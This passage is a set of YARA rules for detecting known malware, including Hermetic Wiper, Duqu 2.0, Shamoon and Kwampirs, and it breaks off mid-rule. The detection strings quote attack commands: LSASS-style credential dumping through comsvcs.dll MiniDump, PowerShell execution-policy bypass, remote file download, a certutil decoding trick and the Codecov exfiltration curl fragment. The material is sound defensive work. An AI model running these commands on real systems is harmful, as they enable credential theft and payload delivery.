rule APT_UA_Hermetic_Wiper_Feb22_1
{
	meta:
		description = "Detects Hermetic Wiper malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack/"
		date = "2022-02-24"
		score = 75
		hash1 = "0385eeab00e946a302b24a91dea4187c1210597b8e17cd9e2230450f5ece21da"
		hash2 = "3c557727953a8f6b4788984464fb77741b821991acbf5e746aebdd02615b1767"
		hash3 = "2c10b2ec0b995b88c27d141d6f7b14d6b8177c52818687e4ff8e6ecf53adf5bf"
		hash4 = "1bc44eef75779e3ca1eefb8ff5a64807dbc942b1e4a2672d77b9f6928d292591"
		id = "2cbe4a69-e31a-5f5f-ab1a-9d71d16fb30f"

	strings:
		$xc1 = { 00 5C 00 5C 00 2E 00 5C 00 50 00 68 00 79 00 73
               00 69 00 63 00 61 00 6C 00 44 00 72 00 69 00 76
               00 65 00 25 00 75 00 00 00 5C 00 5C 00 2E 00 5C
               00 45 00 50 00 4D 00 4E 00 54 00 44 00 52 00 56
               00 5C 00 25 00 75 00 00 00 5C 00 5C 00 2E 00 5C
               00 00 00 00 00 25 00 73 00 25 00 2E 00 32 00 73
               00 00 00 00 00 24 00 42 00 69 00 74 00 6D 00 61
               00 70 00 00 00 24 00 4C 00 6F 00 67 00 46 00 69
               00 6C 00 65 }
		$sc1 = { 00 44 00 72 00 69 00 76 00 65 00 72 00 73 00 00
               00 64 00 72 00 76 00 00 00 53 00 79 00 73 00 74
               00 65 00 6D 00 33 00 32 }
		$s1 = "\\\\?\\C:\\Windows\\System32\\winevt\\Logs" wide fullword
		$s2 = "\\\\.\\EPMNTDRV\\%u" wide fullword
		$s3 = "DRV_XP_X64" wide fullword
		$s4 = "%ws%.2ws" wide fullword
		$op1 = { 8b 7e 08 0f 57 c0 8b 46 0c 83 ef 01 66 0f 13 44 24 20 83 d8 00 89 44 24 18 0f 88 3b 01 00 00 }
		$op2 = { 13 fa 8b 55 f4 4e 3b f3 7f e6 8a 45 0f 01 4d f0 0f 57 c0 }

	condition:
		( uint16( 0 ) == 0x5a53 or uint16( 0 ) == 0x5a4d ) and filesize < 400KB and ( 1 of ( $x* ) or 3 of them )
}

rule APT_UA_Hermetic_Wiper_Artefacts_Feb22_1
{
	meta:
		description = "Detects artefacts found in Hermetic Wiper malware related intrusions"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia"
		date = "2022-02-25"
		score = 75
		id = "77f793c1-b02c-59c3-b3e4-75758f5b3b8d"

	strings:
		$sx1 = "/c powershell -c \"rundll32 C:\\windows\\system32\\comsvcs.dll MiniDump" ascii wide
		$sx2 = "appdata\\local\\microsoft\\windows\\winupd.log" ascii wide
		$sx3 = "AppData\\Local\\Microsoft\\Windows\\Winupd.log" ascii wide
		$sx4 = "CSIDL_SYSTEM_DRIVE\\temp\\sys.tmp1" ascii wide
		$sx5 = "\\policydefinitions\\postgresql.exe" ascii wide
		$sx6 = "powershell -v 2 -exec bypass -File text.ps1" ascii wide
		$sx7 = "powershell -exec bypass gp.ps1" ascii wide
		$sx8 = "powershell -exec bypass -File link.ps1" ascii wide
		$sx9 = " 1> \\\\127.0.0.1\\ADMIN$\\__16" ascii wide
		$sa1 = "(New-Object System.Net.WebClient).DownloadFile(" ascii wide
		$sa2 = "CSIDL_SYSTEM_DRIVE\\temp\\" ascii wide
		$sa3 = "1> \\\\127.0.0.1\\ADMIN$" ascii wide
		$fp1 = "<html" ascii

	condition:
		1 of ( $sx* ) or all of ( $sa* ) and not 1 of ( $fp* )
}

rule APT_UA_Hermetic_Wiper_Scheduled_Task_Feb22_1
{
	meta:
		description = "Detects scheduled task pattern found in Hermetic Wiper malware related intrusions"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia"
		date = "2022-02-25"
		score = 85
		id = "a628f773-9c71-5979-a4db-37b6b6bd6a56"

	strings:
		$a0 = "<Task version=" ascii wide
		$sa1 = "CSIDL_SYSTEM_DRIVE\\temp" ascii wide
		$sa2 = "postgresql.exe 1> \\\\127.0.0.1\\ADMIN$" ascii wide
		$sa3 = "cmd.exe /Q /c move CSIDL_SYSTEM_DRIVE" ascii wide

	condition:
		$a0 and 1 of ( $s* )
}

rule Dexter_Malware
{
	meta:
		description = "Detects the Dexter Trojan/Agent http://goo.gl/oBvy8b"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "http://goo.gl/oBvy8b"
		date = "2015/02/10"
		score = 70
		id = "8be328ec-ba29-50ba-8d35-e2c4dfcae45e"

	strings:
		$s0 = "Java Security Plugin" fullword wide
		$s1 = "%s\\%s\\%s.exe" fullword wide
		$s2 = "Sun Java Security Plugin" fullword wide
		$s3 = "\\Internet Explorer\\iexplore.exe" wide

	condition:
		all of them
}

rule SUSP_autocad_lsp_malware
{
	meta:
		description = "Recognizes malicious autocad files written in LISP"
		author = "John Lambert @JohnLaTwC"
		date = "2019-02-04"
		reference1 = "http://cadablog.blogspot.com/2012/06/acadmedrea-malware-autocad-based-virus.html"
		hash1 = "1313398e2f39fcf17225c7e915b92bd74292d427163112d70b82f271359b84d5"
		hash2 = "2382e6908e6b44c0676c537cb8caa239c8938cb01e62a45c7247d40ab7dbf0ad"
		hash3 = "23cf3e7f41a755a45e396e5caa3e753e64655b91fe665808f71aa68718670dc8"
		hash4 = "23f018135afc4890e1e09bef9386e45e2236fc43550383b7888cddbdefbcd950"
		hash5 = "4a8da078a02fc49b7f13cd19d10519b1bf31ed0ab04268f018ad4733918e28ff"
		hash6 = "4cca7b530213ef71b2e69a5b11178b61044f93dc60f4e8e568ddb3bb06749ba2"
		hash7 = "5390271899e1ebf884380f5da7d26dff527d13922d3b3f8a3b5ec9152b9dfa40"
		hash8 = "53ef3029f36a3a2b912a722d64eef04f599f6f683c6dcb31a122ab1c98f38700"
		hash9 = "7f7d78931370fa693cbfa50aadecc09b4ab93917dcde3a653bd67fa6dc274cdc"
		hash10 = "8147cc97b6203c7eccfbd10457eb52527f74180ebae79bf3cb9c9edb582e708c"
		hash11 = "8a3113ceb45725539e4ccef5ea1482c29b2bbe0ce7ede72f59f9949a0e04c5cd"
		hash12 = "a0c77993f84ca8fb3096579088326bc907b003327f5885660ea5ba47e2cbc6de"
		hash13 = "a20ac5e0bfa2ee3cb4092907420c23d1f94a1ed1b59cc3d351e5602d7206178c"
		hash14 = "b201969ed7bf782d01011211b48bfccb9dd41a3a5a7456cdff2167f1e4d1b954"
		hash15 = "b2bac49288329a777e7aa7001e9383eec75719c08f2aa8c278b44fabeb74844f"
		hash16 = "b772dce92319bb48df39db6ab701761bd7645a771fd7f394510d5951695e7e96"
		hash17 = "c116cc4db6f77c580c1c4f8acda537ed04e597739bc83011773dbeb77adf93e3"
		hash18 = "ca1b9026b5d69c0981ca088330180d4865602fc2b514fd838664d3e11eab4468"
		hash19 = "d7a814d677f9f9dd9666dc4f4bb9cca88fa90bdb074e87006e8810eef9a0fb32"
		hash20 = "e4acfb69006b8aecf5801e36e2c69ccfeea2e8cbad4ceda9228d2dae2c8fd023"
		hash21 = "f9d6b894ca907145464058a4e2c78de84bf592609b46f3573bfd9e0029e1c778"
		id = "3a4ac6e1-d7ea-5b9a-a386-9f881fad073b"

	strings:
		$s1 = /\(chr\s+\d+\)\s*\(chr\s+\d+\)\s*\(chr\s+\d+\)\s*\(chr\s+\d+\)/
		$s2 = /vl\-list\-\>string\s+\'\(\d+\s+\d+\s+\d+\s+\d+\s+\d+\s+/
		$m1 = "strcat" nocase fullword
		$m2 = "write-line" nocase fullword
		$m3 = "open" nocase fullword
		$m4 = /acad\w*\.lsp\"/ nocase fullword
		$n1 = "vl-registry-write" nocase fullword
		$n2 = "NOHIDDEN" nocase fullword
		$n3 = "vlax-create-object " nocase fullword

	condition:
		filesize < 1MB and uint8( 0 ) == 0x28 and ( 1 of ( $s* ) or all of ( $m* ) or all of ( $n* ) )
}

rule APT_KE3CHANG_TMPFILE : APT KE3CHANG TMPFILE
{
	meta:
		description = "Detects Strings left in TMP Files created by K3CHANG Backdoor Ketrican"
		author = "Markus Neis, Swisscom"
		reference = "https://app.any.run/tasks/a96f4f9d-c27d-490b-b5d3-e3be0a1c93e9/"
		date = "2020-06-18"
		hash1 = "4ef11e84d5203c0c425d1a76d4bf579883d40577c2e781cdccc2cc4c8a8d346f"
		id = "84d411af-ea3d-5862-8c2f-7caca60c1b66"

	strings:
		$pps1 = "PSParentPath             : Microsoft.PowerShell.Core\\Registry::HKEY_CURRENT_USE" fullword ascii
		$pps2 = "PSPath                   : Microsoft.PowerShell.Core\\Registry::HKEY_CURRENT_USE" fullword ascii
		$psp1 = ": Microsoft.PowerShell.Core\\Registry" ascii
		$s4 = "PSChildName  : PhishingFilter" fullword ascii
		$s1 = "DisableFirstRunCustomize : 2" fullword ascii
		$s7 = "PSChildName  : 3" fullword ascii
		$s8 = "2500         : 3" fullword ascii

	condition:
		uint16( 0 ) == 0x5350 and filesize < 1KB and $psp1 and 1 of ( $pps* ) and 1 of ( $s* )
}

rule APT_MAL_Ke3chang_Ketrican_Jun20_1
{
	meta:
		description = "Detects Ketrican malware"
		author = "Florian Roth (Nextron Systems)"
		reference = "BfV Cyber-Brief Nr. 01/2020"
		date = "2020-06-18"
		hash1 = "02ea0bc17875ab403c05b50205389065283c59e01de55e68cee4cf340ecea046"
		hash2 = "f3efa600b2fa1c3c85f904a300fec56104d2caaabbb39a50a28f60e0fdb1df39"
		id = "ccd8322e-c822-512a-9ac5-eabc9d09640b"

	strings:
		$xc1 = { 00 59 89 85 D4 FB FF FF 8B 85 D4 FB FF FF 89 45
               FC 68 E0 58 40 00 8F 45 FC E9 }
		$op1 = { 6a 53 58 66 89 85 24 ff ff ff 6a 79 58 66 89 85 }
		$op2 = { 8d 45 bc 50 53 53 6a 1c 8d 85 10 ff ff ff 50 ff }

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 300KB and 1 of ( $x* ) or 2 of them
}

rule NK_Miner_Malware_Jan18_1
{
	meta:
		description = "Detects Noth Korean Monero Miner mentioned in AlienVault report"
		author = "Florian Roth (Nextron Systems) (original rule by Chris Doman)"
		reference = "https://goo.gl/PChE1z"
		date = "2018-01-09"
		hash1 = "0024e32c0199ded445c0b968601f21cc92fc0c534d2642f2dd64c1c978ff01f3"
		hash2 = "42300b6a09f183ae167d7a11d9c6df21d022a5f02df346350d3d875d557d3b76"
		id = "40f53c36-9e14-5307-9740-e6f514afc7ec"

	strings:
		$x0 = "c:\\users\\jawhar\\documents\\" ascii
		$x1 = "C:\\Users\\Jawhar\\documents\\" ascii
		$x2 = "The number of processors on this computer is {0}." fullword wide
		$x3 = { 00 00 1F 43 00 3A 00 5C 00 4E 00 65 00 77 00 44
              00 69 00 72 00 65 00 63 00 74 00 6F 00 72 00 79
              00 00 }
		$x4 = "Le fichier Hello txt n'existe pas" fullword wide
		$x5 = "C:\\NewDirectory2\\info2" fullword wide
		$a = "82e999fb-a6e0-4094-aa1f-1a306069d1a5" ascii
		$b = "4JUdGzvrMFDWrUUwY3toJATSeNwjn54LkCnKBPRzDuhzi5vSepHfUckJNxRL2gjkNrSqtCoRUrEDAgRwsQvVCjZbRy5YeFCqgoUMnzumvS" ascii
		$c = "barjuok.ryongnamsan.edu.kp" wide ascii
		$d = "C:\\SoftwaresInstall\\soft" wide ascii
		$e = "C:\\Windows\\Sys64\\intelservice.exe" wide ascii
		$f = "C:\\Windows\\Sys64\\updater.exe" wide ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 30KB and 1 of them
}

rule MAL_WshRAT_Dotnet_Packer_Feb21
{
	meta:
		description = "Yara Rule for WSH rat .NET packer of February 2021 "
		author = "Yoroi Malware ZLab"
		date = "2021-03-09"
		reference = "https://yoroi.company/research/threatening-within-budget-how-wsh-rat-is-abused-by-cyber-crooks/"
		id = "62e043fc-7d13-5b91-9fdd-e71d91194da2"

	strings:
		$a1 = { BE DD 60 8C 34 49 9A 54 D2 40 }
		$a2 = { 1D D7 24 22 47 A6 B1 A5 }
		$a3 = { 13 30 03 00 07 00 00 00 01 }
		$a4 = { 11 02 03 7D 78 00 00 04 2A }
		$a5 = { A8 8A F4 C8 61 2B CA 07 }
		$a6 = { 15 AE 5E AB 5A 20 FE B5 56 B4 61 2B BB 06 2A}

	condition:
		uint16( 0 ) == 0x5A4D and 3 of them
}

rule APT_SH_CodeCov_Hack_Apr21_1
{
	meta:
		description = "Detects manipulated Codecov bash uploader tool that has been manipulated by an unknown actor during March / April 2021"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://about.codecov.io/security-update/"
		date = "2021-04-16"
		id = "b5fb74c4-073e-53af-a207-1672e63c9a64"

	strings:
		$a1 = "Global report uploading tool for Codecov"
		$s1 = "curl -sm 0.5 -d"

	condition:
		uint16( 0 ) == 0x2123 and filesize < 70KB and all of them
}

rule Gen_Base64_EXE : HIGHVOL
{
	meta:
		description = "Detects Base64 encoded Executable in Executable"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-04-21"
		id = "ef919a63-9a29-5624-a084-b92e3578e3a6"

	strings:
		$s1 = "TVpTAQEAAAAEAAAA//8AALgAAAA" wide ascii
		$s2 = "TVoAAAAAAAAAAAAAAAAAAAAAAAA" wide ascii
		$s3 = "TVqAAAEAAAAEABAAAAAAAAAAAAA" wide ascii
		$s4 = "TVpQAAIAAAAEAA8A//8AALgAAAA" wide ascii
		$s5 = "TVqQAAMAAAAEAAAA//8AALgAAAA" wide ascii
		$fp1 = "BAM Management class library"

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 5000KB and 1 of ( $s* ) and not 1 of ( $fp* )
}

rule Binary_Drop_Certutil
{
	meta:
		description = "Drop binary as base64 encoded cert trick"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/9DNn8q"
		date = "2015-07-15"
		score = 70
		id = "19791e51-d041-524d-80fa-9f3ec54eb084"

	strings:
		$s0 = "echo -----BEGIN CERTIFICATE----- >" ascii
		$s1 = "echo -----END CERTIFICATE----- >>" ascii
		$s2 = "certutil -decode " ascii

	condition:
		filesize < 10KB and all of them
}

rule StegoKatz
{
	meta:
		description = "Encoded Mimikatz in other file types"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/jWPBBY"
		date = "2015-09-11"
		score = 70
		id = "78868bb0-af69-573d-afd2-350a46f69137"

	strings:
		$s1 = "VC92Ny9TSXZMNk5jLy8vOUlqUTFVRlFNQTZMLysvdjlJaTh2L0ZUNXJBUUJJaTFRa1NFaUx6K2hWSS8vL1NJME44bklCQU9pZC92Ny9USTJjSkpBQUFBQXp3RW1MV3hCSmkyc1lTWXR6S0VtTDQxL0R6TXhNaTl4SmlWc0lUWWxMSUUySlF4aFZWbGRCVkVGVlFWWkJWMGlCN1BBQUFBQklnMlFrYUFDNE1BQUFBRW1MNkVTTmNPQ0pSQ1JnaVVRa1pFbU5RN0JKaTlsTWpRWFBGQU1BU0ls" ascii
		$s2 = "Rpd3ovN3FlalVtNklLQ0xNNGtOV1BiY0VOVHROT0Zud25CWGN0WS9BcEdMR28rK01OWm85Nm9xMlNnY1U5aTgrSTBvNkFob1FOTzRHQWdtUElEVmlqald0Tk90b2FmN01ESWJUQkF5T0pYbTB4bFVHRTBZWEFWOXVoNHBkQnRrS0VFWWVBSEE2TDFzU0c5a2ZFTEc3QWd4WTBYY1l3ZzB6QUFXS09JZE9wQVhEK3lnS3lsR3B5Q1ljR1NJdFNseGZKWUlVVkNFdEZPVjRJUldERUl1QXpKZ2pCQWdsd0Va" ascii

	condition:
		filesize < 1000KB and 1 of them
}

rule Obfuscated_VBS_April17
{
	meta:
		description = "Detects cloaked Mimikatz in VBS obfuscation"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-04-21"
		id = "ca60b885-bb56-55ee-a2b3-dea6958883c2"

	strings:
		$s1 = "::::::ExecuteGlobal unescape(unescape(" ascii

	condition:
		filesize < 500KB and all of them
}

rule Obfuscated_JS_April17
{
	meta:
		description = "Detects cloaked Mimikatz in JS obfuscation"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "Internal Research"
		date = "2017-04-21"
		id = "44abd2c0-5f8d-5a8c-b282-a09853e12054"

	strings:
		$s1 = "\";function Main(){for(var " ascii
		$s2 = "=String.fromCharCode(parseInt(" ascii
		$s3 = "));(new Function(" ascii

	condition:
		filesize < 500KB and all of them
}

rule APT_apt_duqu2_loaders
{
	meta:
		copyright = "Kaspersky Lab"
		description = "Rule to detect Duqu 2.0 samples"
		last_modified = "2015-06-09"
		version = "1.0"
		id = "22db52c2-18e7-537e-a9c5-38ccfd3a0d30"

	strings:
		$a1 = "{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide
		$a2 = "\\\\.\\pipe\\{AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E}" wide
		$a4 = "\\\\.\\pipe\\{AB6172ED-8105-4996-9D2A-597B5F827501}" wide
		$a5 = "Global\\{B54E3268-DE1E-4c1e-A667-2596751403AD}" wide
		$a8 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" wide
		$a9 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" wide
		$a7 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" wide
		$b1 = "MSI.dll"
		$b2 = "msi.dll"
		$b3 = "StartAction"
		$c1 = "msisvc_32@" wide
		$c2 = "PROP=" wide
		$c3 = "-Embedding" wide
		$c4 = "S:(ML;;NW;;;LW)" wide
		$d1 = "NameTypeBinaryDataCustomActionActionSourceTargetInstallExecuteSequenceConditionSequencePropertyValueMicrosoftManufacturer" nocase
		$d2 = {2E 3F 41 56 3F 24 5F 42 69 6E 64 40 24 30 30 58 55 3F 24 5F 50 6D 66 5F 77 72 61 70 40 50 38 43 4C 52 ?? 40 40 41 45 58 58 5A 58 56 31 40 24 24 24 56 40 73 74 64 40 40 51 41 56 43 4C 52 ?? 40 40 40 73 74 64 40 40}

	condition:
		(( uint16( 0 ) == 0x5a4d ) and ( ( any of ( $a* ) ) or ( all of ( $b* ) ) or ( all of ( $c* ) ) ) and filesize < 100000 ) or ( ( uint32( 0 ) == 0xe011cfd0 ) and ( ( any of ( $a* ) ) or ( all of ( $b* ) ) or ( all of ( $c* ) ) or ( any of ( $d* ) ) ) and filesize < 20000000 )
}

rule APT_apt_duqu2_drivers
{
	meta:
		copyright = "Kaspersky Lab"
		description = "Rule to detect Duqu 2.0 drivers"
		last_modified = "2015-06-09"
		version = "1.0"
		id = "714d5151-9f80-582e-a628-1de9d83a072d"

	strings:
		$a1 = "\\DosDevices\\port_optimizer" wide nocase
		$a2 = "romanian.antihacker"
		$a3 = "PortOptimizerTermSrv" wide
		$a4 = "ugly.gorilla1"
		$b1 = "NdisIMCopySendCompletePerPacketInfo"
		$b2 = "NdisReEnumerateProtocolBindings"
		$b3 = "NdisOpenProtocolConfiguration"

	condition:
		uint16( 0 ) == 0x5A4D and ( any of ( $a* ) ) and ( 2 of ( $b* ) ) and filesize < 100000
}

rule Duqu2_Generic1
{
	meta:
		description = "Kaspersky APT Report - Duqu2 Sample - Generic Rule"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/7yKyOj"
		date = "2015-06-10"
		super_rule = 1
		hash0 = "3f9168facb13429105a749d35569d1e91465d313"
		hash1 = "0a574234615fb2382d85cd6d1a250d6c437afecc"
		hash2 = "38447ed1d5e3454fe17699f86c0039f30cc64cde"
		hash3 = "5282d073ee1b3f6ce32222ccc2f6066e2ca9c172"
		hash4 = "edfca3f0196788f7fde22bd92a8817a957c10c52"
		hash5 = "6a4ffa6ca4d6fde8a30b6c8739785f4bd2b5c415"
		hash6 = "00170bf9983e70e8dd4f7afe3a92ce1d12664467"
		hash7 = "32f8689fd18c723339414618817edec6239b18f3"
		hash8 = "f860acec9920bc009a1ad5991f3d5871c2613672"
		hash9 = "413ba509e41c526373f991d1244bc7c7637d3e13"
		hash10 = "29cd99a9b6d11a09615b3f9ef63f1f3cffe7ead8"
		hash11 = "dfe1cb775719b529138e054e7246717304db00b1"
		id = "0e03eda5-d65b-5400-aceb-bc37559d9a6e"

	strings:
		$s0 = "Global\\{B54E3268-DE1E-4c1e-A667-2596751403AD}" fullword wide
		$s1 = "SetSecurityDescriptorSacl" fullword ascii
		$s2 = "msisvc_32@" fullword wide
		$s3 = "CompareStringA" fullword ascii
		$s4 = "GetCommandLineW" fullword ascii

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 150KB and all of them
}

rule APT_Kaspersky_Duqu2_procexp
{
	meta:
		description = "Kaspersky APT Report - Duqu2 Sample - Malicious MSI"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/7yKyOj"
		date = "2015-06-10"
		hash1 = "2422835716066b6bcecb045ddd4f1fbc9486667a"
		hash2 = "b120620b5d82b05fee2c2153ceaf305807fa9f79"
		hash3 = "288ebfe21a71f83b5575dfcc92242579fb13910d"
		id = "d7fd48d5-2416-5eff-a751-ece09ce27767"

	strings:
		$x1 = "svcmsi_32.dll" fullword wide
		$x2 = "msi3_32.dll" fullword wide
		$x3 = "msi4_32.dll" fullword wide
		$x4 = "MSI.dll" fullword ascii
		$s1 = "SELECT `Data` FROM `Binary` WHERE `Name`='%s%i'" fullword wide
		$s2 = "Sysinternals installer" fullword wide
		$s3 = "Process Explorer" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 100KB and ( 1 of ( $x* ) ) and ( all of ( $s* ) )
}

rule APT_Kaspersky_Duqu2_SamsungPrint
{
	meta:
		description = "Kaspersky APT Report - Duqu2 Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/7yKyOj"
		date = "2015-06-10"
		hash = "ce39f41eb4506805efca7993d3b0b506ab6776ca"
		id = "cc4bc00e-f38b-577f-8f00-637c0549894c"

	strings:
		$s0 = "Installer for printer drivers and applications" fullword wide
		$s1 = "msi4_32.dll" fullword wide
		$s2 = "HASHVAL" fullword wide
		$s3 = "SELECT `%s` FROM `%s` WHERE `%s`='CAData%i'" fullword wide
		$s4 = "ca.dll" fullword ascii
		$s5 = "Samsung Electronics Co., Ltd." fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 82KB and all of them
}

rule APT_Kaspersky_Duqu2_msi3_32
{
	meta:
		description = "Kaspersky APT Report - Duqu2 Sample"
		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
		author = "Florian Roth (Nextron Systems)"
		reference = "https://goo.gl/7yKyOj"
		date = "2015-06-10"
		hash = "53d9ef9e0267f10cc10f78331a9e491b3211046b"
		id = "6cbea2e7-f406-57cf-b9c8-9d84b1480035"

	strings:
		$s0 = "ProcessUserAccounts" fullword ascii
		$s1 = "SELECT `UserName`, `Password`, `Attributes` FROM `CustomUserAccounts`" fullword wide
		$s2 = "SELECT `UserName` FROM `CustomUserAccounts`" fullword wide
		$s3 = "SELECT `Data` FROM `Binary` WHERE `Name`='CryptHash%i'" fullword wide
		$s4 = "msi3_32.dll" fullword wide
		$s5 = "RunDLL" fullword ascii
		$s6 = "MSI Custom Action v3" fullword wide
		$s7 = "msi3_32" fullword wide
		$s8 = "Operating System" fullword wide

	condition:
		uint16( 0 ) == 0x5a4d and filesize < 72KB and all of them
}

rule CrowdStrike_Shamoon_DroppedFile
{
	meta:
		description = "Rule to detect Shamoon malware http://goo.gl/QTxohN"
		reference = "http://www.rsaconference.com/writable/presentations/file_upload/exp-w01-hacking-exposed-day-of-destruction.pdf"
		id = "b350f1b1-db73-574b-957b-34e5a84f68b0"

	strings:
		$testn123 = "test123" wide
		$testn456 = "test456" wide
		$testn789 = "test789" wide
		$testdomain = "testdomain.com" wide
		$pingcmd = "ping -n 30 127.0.0.1 >nul" wide

	condition:
		( any of ( $testn* ) or $pingcmd ) and $testdomain
}

rule APT_Liudoor
{
	meta:
		author = "RSA FirstWatch"
		date = "2015-07-23"
		description = "Detects Liudoor daemon backdoor"
		hash0 = "78b56bc3edbee3a425c96738760ee406"
		hash1 = "5aa0510f6f1b0e48f0303b9a4bfc641e"
		hash2 = "531d30c8ee27d62e6fbe855299d0e7de"
		hash3 = "2be2ac65fd97ccc97027184f0310f2f3"
		hash4 = "6093505c7f7ec25b1934d3657649ef07"
		type = "Win32 DLL"
		id = "cf7e08b8-2ccd-5828-917b-11340b4a86b1"

	strings:
		$string0 = "Succ"
		$string1 = "Fail"
		$string2 = "pass"
		$string3 = "exit"
		$string4 = "svchostdllserver.dll"
		$string5 = "L$,PQR"
		$string6 = "0/0B0H0Q0W0k0"
		$string7 = "QSUVWh"
		$string8 = "Ht Hu["

	condition:
		all of them
}

rule SUSP_INDICATOR_RTF_MalVer_Objects
{
	meta:
		description = "Detects RTF documents with non-standard version and embedding one of the object mostly observed in exploit (e.g. CVE-2017-11882) documents."
		author = "ditekSHen"
		reference = "https://github.com/ditekshen/detection"
		date = "2022-10-20"
		score = 65
		hash1 = "43812ca7f583e40b3e3e92ae90a7e935c87108fa863702aa9623c6b7dc3697a2"
		hash2 = "a31da6c6a8a340901f764586a28bd5f11f6d2a60a38bf60acd844c906a0d44b1"
		id = "2d9d80e0-473e-5aac-a576-8f0002e120e2"

	strings:
		$obj1 = "\\objhtml" ascii
		$obj2 = "\\objdata" ascii
		$obj3 = "\\objupdate" ascii
		$obj4 = "\\objemb" ascii
		$obj5 = "\\objautlink" ascii
		$obj6 = "\\objlink" ascii

	condition:
		uint32( 0 ) == 0x74725c7b and ( ( not uint8( 4 ) == 0x66 or not uint8( 5 ) == 0x31 or not uint8( 6 ) == 0x5c ) and 1 of ( $obj* ) )
}

rule MAL_Kwampirs_Apr18
{
	meta:
		author = "Symantec"
		family = "Kwampirs"
		description = "Kwampirs dropper and main payload components"
		reference = "https://www.symantec.com/blogs/threat-intelligence/orangeworm-targets-healthcare-us-europe-asia"
		date = "2018-04-23"
		id = "298e2868-e90e-55b4-9115-9f0b43521266"

	strings:
		$pubkey = {
            06 02 00 00 00 A4 00 00 52 53 41 31 00 08 00 00
            01 00 01 00 CD 74 15 BC 47 7E 0A 5E E4 35 22 A5
            97 0C 65 BE E0 33 22 F2 94 9D F5 40 97 3C 53 F9
            E4 7E DD 67 CF 5F 0A 5E F4 AD C9 CF 27 D3 E6 31
            48 B8 00 32 1D BE 87 10 89 DA 8B 2F 21 B4 5D 0A
            CD 43 D7 B4 75 C9 19 FE CC 88 4A 7B E9 1D 8C 11
            56 A6 A7 21 D8 C6 82 94 C1 66 11 08 E6 99 2C 33
            02 E2 3A 50 EA 58 D2 A7 36 EE 5A D6 8F 5D 5D D2
            9E 04 24 4A CE 4C B6 91 C0 7A C9 5C E7 5F 51 28
            4C 72 E1 60 AB 76 73 30 66 18 BE EC F3 99 5E 4B
            4F 59 F5 56 AD 65 75 2B 8F 14 0C 0D 27 97 12 71
            6B 49 08 84 61 1D 03 BA A5 42 92 F9 13 33 57 D9
            59 B3 E4 05 F9 12 23 08 B3 50 9A DA 6E 79 02 36
            EE CE 6D F3 7F 8B C9 BE 6A 7E BE 8F 85 B8 AA 82
            C6 1E 14 C6 1A 28 29 59 C2 22 71 44 52 05 E5 E6
            FE 58 80 6E D4 95 2D 57 CB 99 34 61 E9 E9 B3 3D
            90 DC 6C 26 5D 70 B4 78 F9 5E C9 7D 59 10 61 DF
            F7 E4 0C B3
        }
		$network_xor_key = {
            B7 E9 F9 2D F8 3E 18 57 B9 18 2B 1F 5F D9 A5 38
            C8 E7 67 E9 C6 62 9C 50 4E 8D 00 A6 59 F8 72 E0
            91 42 FF 18 A6 D1 81 F2 2B C8 29 EB B9 87 6F 58
            C2 C9 8E 75 3F 71 ED 07 D0 AC CE 28 A1 E7 B5 68
            CD CF F1 D8 2B 26 5C 31 1E BC 52 7C 23 6C 3E 6B
            8A 24 61 0A 17 6C E2 BB 1D 11 3B 79 E0 29 75 02
            D9 25 31 5F 95 E7 28 28 26 2B 31 EC 4D B3 49 D9
            62 F0 3E D4 89 E4 CC F8 02 41 CC 25 15 6E 63 1B
            10 3B 60 32 1C 0D 5B FA 52 DA 39 DF D1 42 1E 3E
            BD BC 17 A5 96 D9 43 73 3C 09 7F D2 C6 D4 29 83
            3E 44 44 6C 97 85 9E 7B F0 EE 32 C3 11 41 A3 6B
            A9 27 F4 A3 FB 2B 27 2B B6 A6 AF 6B 39 63 2D 91
            75 AE 83 2E 1E F8 5F B5 65 ED B3 40 EA 2A 36 2C
            A6 CF 8E 4A 4A 3E 10 6C 9D 28 49 66 35 83 30 E7
            45 0E 05 ED 69 8D CF C5 40 50 B1 AA 13 74 33 0F
            DF 41 82 3B 1A 79 DC 3B 9D C3 BD EA B1 3E 04 33
        }
		$decrypt_string = {
